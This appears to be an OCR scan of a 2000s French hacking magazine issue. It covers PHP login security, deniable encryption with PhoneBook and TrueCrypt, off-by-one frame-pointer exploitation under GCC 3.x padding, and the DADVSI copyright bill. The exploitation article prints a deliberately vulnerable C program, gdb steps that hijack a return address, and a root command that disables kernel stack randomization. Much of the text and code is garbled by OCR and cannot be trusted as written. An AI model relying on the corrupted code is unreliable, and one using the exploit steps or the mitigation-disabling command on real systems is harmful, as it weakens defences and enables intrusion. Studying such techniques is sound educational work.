methode venant de Unix : le grain de sel,
Ce grain de sel est un mot ou une suite
de caractere que l'en va méler a notre
mot de passe, avant de le crypter. afin de
faire varier le hash - ce gui faic qu'un
hacker ne pourra plus si facilement com-
parer nos mds aux siens.

Recoupement de I"adresse IP

Avant d'envoyer email de confirmation,
il faut preveir gue guelgu’un peut avoir
acces aux mails de |la personne, on va
donc devoir e protéger. Pour cela an va
enregistrer dans la base .de donnée
ladresse ip reel de la personne, et |ui
attribuer un numeéro d'identification

temporaire.
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Evaluer la complenité du pass
function evalPasswordStrength(smdp) {

+¢ On trouve lo longueur du mot de posse.
$longueur = strlen($mdp):

¢+ On fait une boucle pour lire chague lettre.

for (5i = 0; 51 < Slongueur; £i++) {
¢+ On selectionne chaque lettre
$lettre = substr($mdp,$i,1);

if ($lettre>='a' && Slettre<='z'){
/7 On ajoute vn point.
Spoint = 3peoint + 1;
/¢ Bonus
Spoint min = 1;
alse if (Slettre>='A' && S$lettre<='Z'){
Spoint = Spoint + 2;
Spoint_maj = 2;
elge if (Slettre>='0' && Bletter<='9'){
$point = $point + 3;
$point_chiffre = 3;
elge {
Spoint = Spoint + 5;
Spoint_caracteres = 5;

}

/¢ On calevl le rapport du nombre de point sur lo longveur du mot de passe.
$etapel = Spoint / $longueur;

/¢ On voit quelle o ete lo diversite des fype de characteres dans le mof de passe, s'if
y o des minuscule, des majuscoles...
$etape2 = Spoint_min + Spoint maj
+ Spoint_chiffre + $Spoint caracteres;

/1 On mulfiplie le coef de diversite par le coef de longueur

Sresultat = Setapel * Setape?;

1/ enfin on mulliplie le resultat précédent par lo fongueur de la chaine
5final = Sresultat * $longueur;

return $final;

Le numeére n'est valable que 10 minutes,
EIF'F'-IE!S qua "email et |1Ir|51:l'||::-tir_'|r'| ||'_1_|_jr',}r|t
plus effet. Une foiz toutes ces informa-
tons enregistrees dans notre base de
données, envoyons |'email.

Dans Femail vous devez demander 3 la per-
sonne, que vous appelez par son pseudo et
non son login, de cliquer sur le lien pour
valider l'inscription. On passe dans l'url la
valeur de [id emporaire, La personne
arrive alors sur la page validation_mail php
qui va commencer par verifier si linscrip-
tion nest pas perimee. Pour cela on utilise

encore une fois la fonction time(), puis on

fait la difference avec la valeur dans k base
de dannée. Dans le cas ou le retard est infé-
reur au 10 minutes requises, on affiche le
formulaire de walidation. Ce formulaire
comprend, ki demande du login, du mot de

passe et du grain de sel :

$ip = get_ip();
$date_actuelle = time();
Sretard = $date_actuelle -
4date;

if {$retard <= 600 AND

$ip bdd == $ip){(

1

Dans la page verif_inscription.php, on va
comparer les informations wvenant de
validation_mail.php avec celles stockées
dans notre base. Dans le cas d'une bonne
identification, on valide [l'inscription.
Dans le cas contraire on laisse trois
essais, apres quoi linscription est annu-

lee, et un mail est envoyé a la personne.

Navigation
Maintenant que linscription est termi-
nee, nous pouvons passer a la navigation
sur le site. Je ne m'attarderai pas en
details sur le formulaire d'identification
F:-r.-ur I.'!_ E.I_Iitlj |'_||J-'_'-.|:||.J[_'.' nous avons |
abordeé tous les points dans linscription.
Une fois l'identification effectuée, on va
stocker les informations dans les ses-
sions et dans la base de donnée pour
plus de protection.
On va en premier lieu récupérer le
numero de session qui est donné i notre
{on peut [obtenir avec
EEESIOI'I_defH Puis on rér_lJF_][-;;rE .0
adresse ip réelle. Dans notre base de
donnée an wva

ajouter lip reelle,




Interaction avec la BDD :
¢+ D'abord s'assurer de l'intégrité du login (injection sqi 1)
v4 (si les magic_quotes sont désactivés, passer par ex. par mysql_escape_string)

fusername =
¢pass_md=mdS (£ POST['passwd']

sresult = myagl_gqguery(

sanitize username($ POST['username']);

Sgsel);

"JELECT username,passwd FROM user table".
"WHERE username="'Sugernams"")

tuserinfo =

if (isset(Suserinfo('passwd'])

myagl fetch arrayi);

&& Sugerinfo['passwd'] == Spass md) {

f/ réussei
} elea

/! megsage d4d'erreur

“Si I'IP a changeé alors on deétruit la session”

le numéro de session, et k date didentification.
A chague changement de page, on va
mettre 3 jour cette date, si elle n'est pas
péerimée. On va se baser sur la valeur de
session.cache expire, qui défini au bout
de combien de temps dinactivite la ses-
sion est dérruite. 5i I'on s'apergoit que
Iip 2 changé ou que le temps d'inactivite
est atteint, par rapport i nos donnees
dans notre base, mais que la session
continu, alors on detruit la session avec
la commande session_destroy et on previens

le visiveur qu'il doit se reloguer.

tonclusion

La solution proposee dans cet article uti-
lise |:I|L.'5 EUurs T_l:":h|'|ll-'lu["-. COMNNUEs Sepa-
rement. Le but était de les regrou
pour un maximum de securite. |l est evi-
dent que ces technigues ne sont pas les
scules et que le tout nest pas encore
parfait. Mais cette com binaison vous pro-
tégera contre la majorite des tentatives
d'intrusion. Un prebleme qui est encore
présent dans ce systéme est ['envoi des

mots de passes en clair sur le reseau,

Pour remédier a cela, vous pouvez utdliser

Yéritication de I'adresre IP

function get_ip(){

global STRUST CLIENT HEADER;

un site avec une r:|:1r1l'||:-:i-:'i::rl'| '-_'.él.'l]"l'.FFe

HTTPS, qui servira

I'_I onnees an toute

a transporter les
securice. D'ailleurs,
meéme les connexions en HTTPS posent
des problémes aujourd’hui (man in the
middle).

Snoop_ Psykoman

En plus
http://guides.ovh.net/Installsite35
contenu.btml = Bon ;;:u.:-:l'r.: pour con i

apache en S5L

77 Attention, HTTP_X_FORWARDED_FOR est focile o spoofer !

if ($TRUST CLIENT HEADER

&& isset (% SERVER['HTTP_ X FORWARDED FOR']1)){

gip =

glse if (STRUST CLIENT HEADER

& SERVER['HTTP X FORWARDED FOR'];

+

&& isset(5_SERVER['HTTP CLIENT IP']))({
Sip = 5_SERVER['HTTP_CLIENT IP']:

else (

#ip =
}
return Sip;

4 SERVER['REMOTE_ADDR'];




Technique Crypier sans lavouer

Deux cryptofs  deniable ” : PhoneBook et Truecnypt

e cryptage de
fichiers au de

une chose relari-
vement courante
chez les particuliers
avertis (nos lec-
teurs :-) et certai-
nes entreprises.
Cette protection
est surtout effi-
cace dans le cas de vols de données ou
de matériel. Il sera alors complexe et
long de recupérer les fichiers protégés.
Meéanmoins, si une perscnne retrouve
votre mot de passe, ou que vous lui don-
niez sous la contrainte par exemple, elle
pourra alors immédiatement récupérer
toutes les données cryptees. La crypto-
graphie contestable (deniable en anglais)
consiste a naveir qu'un seul fichier ou
dossier crypté mais pouvant étre
decrypté et former des contenus diffe-
rents selon la clef. Il est alors possible de
& nier » lexistence de cerwmins fichiers.
Un tiers ne pourra jamais savoir s'il a
extre la totalite les données cryptées.

PhoneBook

Fonctionnement

PhoneBook est base sur FUSE (Filesystem
in Userspace), un systéme de fichiers
fonctionnant en Userland sous Linux, qui
permet dinteragir aussi bien avec des
fichiers distants que locaux de maniére
transparente. Grace a FUSE il est alors
possible de creer un veritable systéme de

natvement. La « partitien » cryptée sera
un simple dossier et evoluera donc sur le
systeme classique et pourra meme etre
deplacee et copiée. Phonebook fonc-
tionne en couches. La partition cryptée
aura alors differents niveaux de sécurités.
Par exemple deux fichiers A et B respec-
tivemnent sur les layers (couches) | et 2.
Me possedant que le mot de passe du
layer | on ne peut savoir s'il existe d'autres
fichiers present sur ce volume, sur une
autre couche.

- votre vie privée,

. Entre la stéganographie et le crypto-loop, ces systémes
- de fichiers permettent de nier mathématiquement

artitions est :

- Jusqu'a l'existence de certaines données chiffrées

plus secrétes que d'autres. Un vrai bonheur pour

Mise en pratique

Hormis lintérét evident pour ce sys-

. téme, une autre de ses forces est d'étre
. relativement simple 3 mettre en place. |l
- n'y a pas de nouvelle partition & créer
. comme pour un cryptoloop, mais juste 3
: insaller phenebook et par la méme
. occasion FUSE - qui est désormais inté-
. gré au Kernel Linux version 2.6.14,

. Aprés avoir télécharge PhoneBook, décom-
- pressez 'archive puis placez e dossier dans
: un repertoire tel que Jusr/share ou
. /var/lib qui peut &tre accessible
. par tous les utilisateurs.

Ensuite tapez dans votre répertoire :

: make build
. Puis en root :
. make install

Le make build est la partie la plus déli-

: cate de l'installation, parfois des erreurs
- se produisent, le plus souvent car l'instal-
. lation ne trouve pas les headers de votre
: kernel. Dans ce cas éditez makepy et
. indiquez dans kernelHeaders = " 'empla-
fichiers virtuels stocké sur celui existant :

cement de vos headers.
Il ne reste plus qu’a créer un lien symbo-

: lique /sbinfmountpbfs qui pointe sur
. mountpy et un autre /usr/bin/pbfs sur
. util/pbfs.py de la maniére suivante :

S 1ln -8
Dook fmount .oy

i |

/ebin/mount .phfs

Jusr/share /phone-

g 1n -a /usr/share/phone

book /util /phfs.pv

/uar/bin/pbfs

. Puis copiez SSLCrypto.so, fuse.py et _fuse-
: moduleso dans fusr/lib/python2.x/site-
. package ainsi gue fuse.o dans /lib/modu-
- les/2 xx/kernelfs/fuse

. Linstallation est maintenant terminee,

. |l faut alors créer deux dossiers : un qui
. contiendra les données i proprement
. parler et l'autre qui servira de point de
. montage. Par exemple /homeluser/ser-
. cret et /mnt/pbfs. Pour monter votre
. partition cryptée, il ne reste plus qu'a
. monter celle-ci de la maniére suivante :

mocunt -t pbfs

fhome fuser /secret /mnt/pbfa

. Dans cet état, le systéme de fichier
. crypté ne peut pas encore étre utilisé il
. va maintenant falloir créer des couches
. ou layers :

pbfs /mnt/pbfs addlayer

couchel passdalacouchel

- Il est alars possible d'utiliser /mnt/pbfs
. comme n'importe quel autre dossier,
. Une fois démenté, seul le bon couple
© nom de couche et mot de passe permet
: de retrouver les données. Si le couple
- est différent, vous aurez alors une autre
. couche vide. Il est — théoriguement

. impossible de connaitre le nombre de
. couches existantes et contenant des
: informations, d'autant plus qu'il est pas-
© sible de faire varier la taille du systéme
. pb fs 'mntpb fs makechaff size



Une autre foncrionnalite intéressante de
PhoneBook est de pouveir regrouper les
layers entre eux en « map ». En ouvrant
une seule map vous aurez alors accés a
la combinaison de plusieurs layers ainsi
quaux fichiers respectifs de chacun
d'eux,

On crée une nouvelle map :

pbfs /mnt/pbis openmap map
passdelamap

On ajoute un ou plusieurs layer comme
précédemment :

pbis /mnt/pbfs addlayer

couchel passdelacouchel

: TrueGrypt

: tionnant aussi bien sous VWindows que Linux

. met de crypter des volumes virtuels (comme

 dure ou une clef ush. Les volurmes peuvent
. dtres encrypé suivant différents algorithmes

- contraint de donner son mot de passe. La
 premiére protection réside dans impossibi-

¢ TrueCrypt. Le volume ressemblera & une sim-

Il est possible d'acceder uniquement aux

données d'un layer en allant dans /mntpb

fsi__ layers/nomdulayer.

Aprés démontage du systéme de fichier :
(umeount /mntpb fs) il suffira alors de :
remonter la partition et de retaper pb fs
/mnipk fs openmap map passdelamap
pour recuperer l'acces aux memes layers

et a la map.

Se familiariser avec ce systeme ne prend
que peu de temps et les possibilites de
combinaisons sont tellement nombreu-
ses qu'il est conseillé d'avoir une trés
bonne meémoire pour ne pas, a terme,

perdre ses propres donneés. En effet, 'ou- :

bli du mot de passe, du nom du layer cu
de la map entraine une disparition des
données. ..

A standard TrueCrypt volume

. a2 ' N
[."a'lll.ll'_jl | _._.llﬁl il '._.-l\. '}_

: ganographié dans le premier. Lutlisation de ce
: TrueCrype est outl de cryprographie fonc-
: : sera pas décrite dans cet article.
¢ dans des erwironnements 32 ou &4 bits. |l per- -

. Conclusion
- PhoneBook) ou physique comme un disque
: : de cryptographie récusable, mais ces
. deux systémes sont trés représentatifs
" tel que AES-256, blowfish . .. True crypto pro-
. pase deux méthodes permettant de récuser
" e fait d'avoir certaines données ou volume : compte de la puissance et de la portée
crypté, dans le cas ol [utlisateur serait :

logiciel emnt sufisamment inwitdve elle ne

Il existe encore bien d'autres systemes

des possibilites offertes et sont bien
aboutis. Il est tres simple de se rendre

de tels systemes mis sur clef usb. Il serait

. alors encore plus difficile de retrouver les
: informations en cas de perte de val sans
. lité didentfier un volume crypté par :

pouvcir connaitre les logiciels utilisés.

* Failes fout de méme ottention oux keyloggers )
© ple suite de données générées aléatoirement.
- La seconde provient d'un second velume sté-

Mister X

Space Oceupled by Files

Headar of the Slandard Valumse

Fras Space

The standard TrueCrypt volume after a hidden velume was created within it

Data Ariga of e Hiddan Vol

. Deuxieme volurne caché

Header of the Hiddan Yalume




Technique -

"Bet an Jiscu-
ctnrt avec un
. lecteur, sur

s le salon IRC de
¥ 'Hackademy, de la
difficulte a repro-
duire l'exploita-
' tion d'un off-by-

one compilé avec
une Yersion
recente de GCC,
que la necessité de

cet article de mise au point s'est faite res-

sentir. L'évolution de certains composants
de base des systémes d exploitation, dont
le compilateur de GMNU, influe en effet sur
les techniques dexploitation et leurs
mises en oeuvre. Certains exploits qui
fonctionnaient il y a quelques années peu-
vent etre inoperants aujourd’hui, non pas
parce que la vulnerabilice serait patchée,
mais avant tout parce gue [|‘environne-
ment n est plus le meéme.

En l'occurrence, la version 3.x de GCC a
introduit un padding dans la structure de
la pile, qui éloigne les variables locales
des structures de controle. Cela per-
turbe l'exploitation de certains buffer
overflows et empéche notamment |'ax-
ploitation d'un off-by-one dans la plupart
des cas. Nous allons étudier cela plus en
detail.

Pourquoi du padding ?

On parle de padding - ou de bourroge en
francais - lors qu'on compléte le contenu d'un
tompon, ovec des données arbitraires, ofin
qu'il atteigne une certaine faille. Celo permet
d'aligner I'adresse des données qui suivent
sur un odressage qui soit multiple de, por
exemple, 2, 4 ou 8 octects (soit 16, 32 ov 64
bits). C'est parfois obligatoire, ou simplement
plus performant selon le type de processeur
\fransferts registre-mémoire). Notomment,
les protocoles réseau prévayent souvent I'uti-
lisation d'un padding, pour des raisons d'opti-
misation el pour simplifier lo conception des
composants hordware.

Les versions récentes de gcc intercalent des octets
de padding sur la pile, ce qui chamboule plusieurs
techniques d'exploitation. Est-ce la fin de certains
types de vulnérabilités sur Linux ? Avant de répondre,
revisons un peu ce type de failles.
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{source : www.apeeckstour.com,

Google Off-By-One (*)

Off-by-One ?

En francais, « off by one » pourrait étre troduit par « & un prés ». (ette expression qualifie une dasse

de vulnerabilités issues d'une pefites erreur de calcul. En programmation, on numérate souvent d
partir de 0 plutét que 1, pour des raisons arithmétiques. Mais ce petit décalage introduit souvent des

erreurs. Ainsi, il es ’rfrequenr que le développeur canfonde la taille d'une tableou ovec le numéro de

son dernier index (pour une toille de 4, les indexes sont 0,1.2 et 3).

Le code suivant est par exemple dongereuwx :

#define LEN 32

char buffer [LEN];

o el

strncpy(buffer, arg, LEN);

En effet, la chaine contenu dans arg pourrait ainsi éire copiée sons le 0 marquant sa fin, lorsque lo

limile de strepy est dépassee. Dans e cos, la chaine buffer ne serrait pus délimitée et serait pro-

longée por les données qui lo sivent sur lo pile. De cela peuvent résulter plus loin, selon le contexte,

des caleuls de taille erronés qui ménent souvent @ des problémes de sécurité.

On parle oussi de off-by-one lors que, & cause d'une erreur d'une unité du méme genre, le pro-

gromme écrit un oclel ou deld des limites du tompon de destination. Le plus souvent, il s'ogit d'un

octet nul de terminaison placé un cran trop loin ef qui décale ainsi le Frame pointer souvegardé.

" Parce que ces bureaux de Google sont - bien siir - av numéro 42 1
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Pourguoi ¢a ne marche plus ?

L'exploitation classique des off-by-one
passe par l'ecrasement d'un frame poin-
ter se trouvant juste apres le tampon
vulnérable (voir figure 1). Cette techni- :
que a &té pour la premiére fois publiee
par klog en 1999, dans Phrack Magazine
Mo 55. Lors d'un dépassement de tam- !
pon simple, on peut écraser non seule-
ment le frame pointer, mais également :
I'adresse de retour qui se trouve juste
aprés.Habituellement, on se contente
done d'écraser cette derniére, ce qui suf-
fit a dérourner le cours du programme.
Lors gu'on exploite un off-by-one, par :
contre, on ne peut écraser qu'un seul :
actect au deld du tampen. Si on a de la
chance, il s'agit donc de l'octet de poids :

faible du dernier frame pointer.

Le frame pointer est en fait la position de :
la pile (esp) pour la fonction appelante. A :
notamment
l'adresse de retour de cette fonction. Sion -
arrive, en écrasant l'octet de poids faible
de ce pointeur, a le faire pointer vers un
emplacement mémoire que nous contro-
lons, on peut par conséquent controler Egmm [.I mmﬂ m
¢ Afin de desactive le padding de la p'lle.
retourne i la fonction appelante ; et ¢'est

cet endroit se trouve

cette adresse de retour. Apres écrase-
ment, 2 la fin de la fonction courante, on

au retour de cette derniere que le faux

frame pointer et I'adresse de retour gque
fous y aVoNhs Mis Seront pris en compre.

lexemple que klog donnait dans son article.

hAe

W "..l\.l

Four mieux comprendre ce principe, avant de
voir ce que change goc 30 nous allons reviser

Heanjiji=]=l= [xfTa3e
I | 1 1 [ | 1 [ | 1 1 1
Variables ‘Frame [Save Frame Saved)
locales ;pl:rinl.ergelp nlrﬂer:‘;elp 4
(buffers ﬁf/ % // y
elc
’ Z 7
| T T T | T T T
I;na:frrsuu xbAfE8e
1 i | | 1 1 1 1 [
I:l.l‘fer d:: ::""F?ETT'I-E :.":SE'."E
T T :: Dimer:ei !
:-'F au  pFau f %
-;[r-:l ne psavec
- poinerfel; i %5
E — T T T | T T | T

ol

%2 5

g . BB

| ' B 5. } ’!32:"

nous allens dans un premier temps com-

- piler le programme vulneérable avec avec
: I'option suivante :

$ gcc -mpreferred-stack-boundary=2 \
-0 klog-vuln \

klag-vulne.c

b o T : . B . . v > [
;.ll.-l hEE : o G g A - ! A TR R
I

Mous reviendrons sur cela plus loin.

. En utilisant gdb {voir encadré Structure de
ka pile), on peut observer comment gocc
+ alloue les variables locales de |2 fonction
'func', a savcir buffer et i. En s'arrétant juste
- au début de cerre foncrion, on peut exami-
: ner les détails de la frame courante 3 'aide
: de la commande 'info frame’. On peut y
: reconnaitre 'adresse de retour {qui pointe
vers l'instruction qui suit le call).




Technique (-

Yulnérabilité type
// Exemple original de klog
#include <stdioc.h>

func (char *sm) {
char buffer[256];
int i;

Ior(1=0;1<=256;1++)
buffer[i]=am[i];

fFroag |

}
main({int argc, char *argv[])
if {(argec < 2) {
printf ("missing args'\n");
axit{-1);
1
func (argv([1]);

On constate également que juste apreés
l'espace alloué pour les variables locales
($esp + O0x104) se trouvent l'adresse de
la frame appelante suivie de cette
adresse de retour.

Le but de l'exploitation est de modifier
ce pointeur vers la frame appelante.

Imaginons qu'une erreur de programma-
tion nous permette de modifier un octet
de ce poInteur. Introeduisons méme
comme contrainte que l'on ne peut que
remplacer I'octet de poids faible de ce
pointeur par un zéro.

laujours avec gdb (encadré Principe
d'exploitation), on peut simuler cerre
situation. Aprés avoir examiné la frame
appelante et trouve
l'adresze de retour de celle-ci, on peut
aménager le contenu du tampon 'buffer’
a I'adresse OxbffffB00, afin d'y créer un
fausse frame (notez I'usage de la com-
mande set de gdb, et l'utilisation des

repéré ol se

types). En pratique,
controler cette zone de mémoire lors

'atraquant peut
] P

que ||: Flrl}gll:!lrll'llt ¥ recope {IE‘S para=
metres utilisateurs.

Lers que plus loin on madifie - comme
dans le cas classique d'un off-by-one
l'octet de poids faible du frame pointer
(traisieme appel a set), celui-ci va pointer
sur notre fausse frame. On peut vérifier
ensuite que la frame appelante a bien ete
modifiée, en la sélectionnant avec la
commande up, puis en en affichant les
details, toujours avec la commande info
frame. On voit que 'on contréle en effet
l'adresse de retour de maini).

MEB:Le programme produit un seg fault si
on le fait continuer, En réalité, il ne se
branche pas directement sur l'adresse
que nous avons inscrite dans la fausse
frame, parce que celle-ci est écrasée par
le programme entre temps. Dans un cas

{phrack55-08)

(12256)

d'exploitation reel, il faudra tenir compte
de ce probleme. Pour ces détails, je vous
renvoie a l'article de klog,

e padding de gee 3.x

Compilons maintenant le méme pro-
gramme avec une version plus récente
de gce (encadré Avec le padding). On
constate en désassemblant 4 nouveau la
fonction func que l'espace alloué sur la
pile est de Ox| |18 (soit 280 en decimal)
au lieu de O 104 (260,

Structure de la pile
$ gdb -q ./klog-vuln
(gdb) disass func

Ce que le compilateur veur, c'est que
l'ensemble de la frame, composée des
variables locales, du peointeur de frame et
de l'adresse de retour tienne dans un
espace memaire dont la taille est un mul-
tiple de 16 (par défaut avee gee 3 ; cet ali-
gnement peut etre modifié grice au flag -
mpreferred-stack-boundary=X, el [ali-
gnement est égal a 2 4 la puissance X).
On a donc 256 octets de buffer, 4 pour
I'entier i et 8 pour les deux peointeurs, ce
qui fait 268. Il en manque |2 pour arriver
a 280, qui est le prochain multiple de | 6.
Le compilateur intercale donc 12 octets
de padding apres les variables locales.
Remarque : Méme si la tille des varia-
bles locales ajoutée aux B octets de
contréle tombe sur un multiple de 16
vous pouvez faire I'expérience — un pad
ding de |6 autres octets sera systémati
quUEMEnt ajoure

Comme il n'arrive plus que le frame poin-
teur soit juxtapose aux tampons locaux, il
est donc impossible de lameindre avec
une seul ocret de débardement (modifier
te padding n ayant bien sir aucun effet sur
le programme). Les seules données que
nous pourrions ecraser dans ces condi-
tions seraient d eventuelles autres variables

Dump of assembler code for function func:

O0x0DB04B3b4
0x0804830b5 <func+l:: MoV
; char buffer[256]; int i;
0x0B8048307 <func+3>:

§ for (i=Dj....)

Ox080483bd <func+9::
Ox080483cd <func+l16>»:

N L)

{gdb) break func

Breakpoint 1 at 0x80483b4
(gdb) run ARAR
Starting program:
Breakpoint 1,
{gdb) info frame
Stack lewvel 0,
0x80483bd in func;

<Func+0s:

eip =
called by frame at Oxbffff8al

Saved registers:
(gdb) =/4i 0xB048414-8
0x8048415 <main+dd>:
0x8048418 «smain+4d7>:
0x804841d <main+52s:
0x804841le <main+53>: ret
(gdb) =x/2x Sesp + 0x104 //
OxbEfE££BBC: OxbE£££BOB

iqlmply
call

push

fr226%1 + 1% =

ebp at OxbffffBBec,

leave

%ebp

%esp, %ebp

0104
$0x104, %esp

$0x0, OxEEfEEfEEe (%abp)

0x80483de <func+42:

Jrmp/of fby/klog-vuln AAARR
Ux080483bd in func ()

frame at OxbffffB94:
saved eip 0x8048414

eip at OxbffffRI0

%eax, (Sesp)
0x80483b4 <func>

fin du buffer

0x08048414




locales, placees juste aprés un ampon
vulnérable = ce qui peut arriver dans

certaines applications

Avec le padding
% goo-31 -0 klog-vuln klog-
yviuln,c
£ gdb -q ./klog-vuln
{gdb) disass func
Dunp of assembler
coda for function func:
0x08048344 <Arou(>: push Sebp
Ox0B04B3d5 «firmwl»: Dowr
“aep, D
08048347 <dinmwd: aub
0118, %eep
0x0804B834d -<frrwds:

movl $0x0,
Oxfffffefd (%Bebp)
il

conclusion

Grace 4 ce padding systémarique, place
judicieusement justes apres les tampons
qui peuvent déborder, gcc 3 preévient
danc naturellement [l'exploitation des
off-by-one ainsi que des autres deborde-
ments de quelques octerts. L'exploitation
des buffer cverflows classiques deit éga-
lement &tre adaptée, puisqu'il faut pre-
vair l'ecrasement du padding avant de
pouvoir atteindre |'adresse de retour.

Cela ne signifie cependant pas pour
autant la fin de cetre classe de vulnerabi-
ites. D'une part, les off-by-anes peuvent
prendre des formes tres diverses et leur
exploitation ne passe pas systéematique-
ment par |'écrasement d'un frame poin-
ter. D'autre part, cet alignement de la pile
ne concerne a priori que l'architecture
ia32. Sur d'autres architectures, notam-
ment celles ou la pile salloue vers le
haut plutdt que vers le base, le probléme

est tout différent,

Désactiver la randomiration
Depuis quelque temps, lo version 2.6 du
Kernel offre lo possibilité d'utiliser des adres
ses parfiellement oleatoires pour la pile des
processus. ('est une protection élémentaire
contre les buffers overflows, dons lo méme
veine que I'ASLR de PaX. Cet option est activé
par défout sur de nombreuses distributions,
doni Debian.

Pour lo désactiver, il suffit de faire en root :
# echo 0 >/proc/sys/

kernel /randomize va_space

Principe d'exnploitation
/// Voyons le contenu de la frame appelante
{gdb) up
#1 0x0B04841d in main ()
{gdb) info fr
Stack level 1, frama at Oxbffff8a0:
gip = 0x8048414d in main; saved eaip OxbT7eadebl
Lied
Saved registers:
ebp at OxbffffR98, eip at Oxbifffadec
(gdb) dowmn
#0 Ox080483b4 in func ()
(gdb) x/3x Sesp + 0x104
OxbffffB8C: Oxbf£££8598 Ox0B8048414d
{gdb) x/2x Oxbffff8og
Oxbff££898: Oxbffff8eB Dxbh7eadeabl
/// Préparons une fausse frame
(gdb) x/2x O0xbE£f££800
Oxbf£££800; Qx00000000 000000000
{gdb) set *{unsigned long*)0xbffffB00 = OxAARRARRAR
{gdh) set *{unsigned long*) (0xbffff800+4) = OxBEEBEBEB
(gdb) x/2x O0xbfff£B00
Oxbf£££B00: Oxaanaasaa 0xbbbbbbbb
// On écrase l'octet de poids faible du pointeur
{gdb) set *(char *)0xbffff8Bc = 0
(gdb) x/2x Oxbffff88c
OxbfEfEffBBC: OxbEEL££800 Ox08048414
(gdb) up
#1 O0x08048414 in main ()
{gdb) info fr
Stack level 1, frame at Oxbffffa0e:
eip = 0xB04841d in main; saved eip Oxbbbbbbbb
caller of frame at OxbffffB9%4
Saved registers: ebp at 0xbffffB00, eip at Oxbffffa04
(gdb) c¢
Contimuing.
Program received signal SIGSEGV, Segmentation fault.

Merci a Heurs pour sa - References:
collaboration ! | Frame pointer overwrite par klog :
http:/lwww.phrack.org/

dvrasp : show.php?p=55&a=08

multiple de 16

(el 80 l:::;m'ﬂ'f:'lE!E: CebffffEa0 l{.‘i::;l:i'l'l'l'HEIE! (CrebffffBal
—1
\ariables

locales
(buffers,

‘Les off-by-ones peuvent
prendre des formes tres
diverses”




DADYVSI

e projet de loi DADVSI est une
transposition
peenne EUCD. La France risque une
lourde amende si elle n'aboutit pas rapi-

de la directive euro-

dement a ladoption d'un texte compatible.
Clest pour cette raison que le gouvernement
a déclare |'urgence.

Les grand thémes de ce projet peuvent
étre résumes en trois points.

Le droit a la copie privée

Jusqu'a présent, 'auteur ne peut pas pri-
ver le public de certains droits fonda-
mentaux de jouir de ses oceuvre dés lors
quelles sont publies. Il ne peut pas
interdire, notamment, d'en faire des
capies pour son usage prive, ou a l'inten-
tion de proches.

Avec le développement d'Internet, se
posent par exemple la question de savoir
si le fait de réaliser une copie i partir
d'un réseau de peer-to-peer entre dans
le cadre de ces exceptions.

Gestion de droil numérique

A l'inverse, lintraduction sur le marché
de mesures de protection anti-copie
diverses est directement incompatible
aved ces acquis, ce qui est egalement
problematique. Plus globalement, les sys-
terme de gestion de droit numerique
(DRM) présentent un risque manifeste
pour la protection de la vie privée du
consommateur. De plus, la présence de
DRM sur un systeme met en danger sa
Securité — surtout si la loi interdit Mana-
lyse de ces protections par des cher-
cheurs indépendants.

interopérabilite

Enfin, les DRM, utilisés par la grand majo-

rité des plateformes de téléchargement :

legal, ne sont pas compatibles avec tous
les systemes d'cxploitation ni avec tous
les appareils multimédia — ce qui oblige
les consommateurs i contourner ces
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protections. En particulier, si la loi est
mal formulée, certains logiciels libres
permettant par exemple de lire un DVD
sur Linux pourraient devenir illégaux.

Toutes ces questions sont bien siir ins-
crites dans un contexte économigue

complexe, Outre la survie de tout le sec-
teur commercial vieillissant de I'industrie
musicale et cinéematographique, se
posent les questions du financement de
la culture et de la juste rémunération
des artistes.



A LA SORTIE DE

L'ASSEMBLEE NATIONALE

Que Jit le texnte voté par les députés ?

Pas de Ia licence globale

Juste avant MNoel,
les debats avaient
permis
d'amender
l'article ler du
projet de loi
de maniére a
azsimiler, dans

la logigue des
décisions de

C. Paud (PS) insistant sur le paro

doe redevonce Denaksation

justice des
derniers mois, le télechargement a de la
copie privée et donc a un acte parfaite-
ment légale. Coup de thédtre, cependant,
a la reprise des débats en mars dernier :
le gouvernement annonce le retrait de
cet article et donc de ses amendements
— avant d'étre forcé pour des raisons
constitutionnelles de le réintroduire le
lendemain. Le Ministre aurait pu s'écano-
miser cette pirouette, puisque la majo-
rite UMP a rejeté en bloc cet article
lorsquiil fut porte aux votes.
Pas de légalisation, donc pas de licence
globale. Maigre consolation : le telechar-
gement n'est plus assimilé 3 de la contre-
fagon, et n'est plus puni que par une
amende de 150 euros lorsqu'il y a
conjeintement mise a disposition — diffi-
cile a éviter sur les réseaux de plp — ou
de 38 eurcs dans les autres cas.

l'amendement
« Vivendi-Universaln
adopte

L'amendement
numerol 50,
dit - « Vivendi-
Universal » (VL)

directement
les intérets
: : , _ economigues
B. Carayon (UMP) défendant, S i
faute de mieux, I'amende-9€ l'industrie,
ment [ 50 sout-amende Cconsiste pour

pour souligner
le fait qu'il sert

I crime »

En attendant le débat du sénat, voici les points principaux
qui ont été décidés ces derniers mois, au gré de nom-

breux rebondissements.

Svivexz les débakr du parlement en direct

[Sur Linux, préferrez ln version real player.)

résumer en des sanctions importantes
(trois ans d'emprisonnement et 300000
euros d'amende) pour quicongue met a
disposition ou facilite I'accés 4 « un dis-
positif manifestement destinés a la mise
a disposition du public non autorise
d'luvres ou d'objets proteges. »

Les sous-amendements 363 et 364 des

Marland-Militello, qui éablissent des excep-
tions noamment pour les logiciels servant

. A partager des oeuvres non SoUMIses au

droit d'auteur, ne suffisent pas a rassurer la
communaute du logiciel libre et les autres

. développeurs indépendants. C. Paul (P3)
. commentait & chaud l'adoption de ['amen-

dement rectifié par 55 voix contre |9 1« M.
Sarkozy pourra faire tous les discours qu'ils
voudra, comme au mois de janvier, pour
tenter de séduire ceux qui representent la
creativite, linnovation et lintelligence de

. notre pays en matiere logicielle, vous venez :
. ce soir de réduire i néant les efforts de

beaucoup d'entreprises frangaises. »

Un pas vers l'interoperahbiiite

Clast pourtant
sUr une tou-
che  positive

te SONC termi-
neés, grace 3a
Fadoption de
larticle 7 bis
Vi rps ) (50U [imipultion

des Cazenavel

Billard

Martine
1 dénonce les  excés \
- DRM, qui ‘& poussent au Carayon) qui

va dans le sens

de l'interopérabilité. Cet article précise

. deux peint importants. D'une part, que

les mesures techniques ne sont pas assi-
milables a tout et nimporte quoi — sont
exclues notamment les methodes de
chiffrements ou de brouillage. Cette pré-
cision est important pour ne pas entra-

! ver la recherche en securite. D'autre
- députés UMP Cazenave, Carayon et :

part, cet article oblige les fabriquant de
protections a fournir toutes les specifi-
cations nécessaires a linteroperabilité
Cela est essentiel pour permettre la rea-
lisation d'outils permettant de lire des
oeuvres protégées sur des sytemes

. alternatifs comme Linux, par exemple.

Ceatte obligation, unique en Eurcpe pour
I'instant, est aussi une maniere de lutter
contre la création de monopales dans le
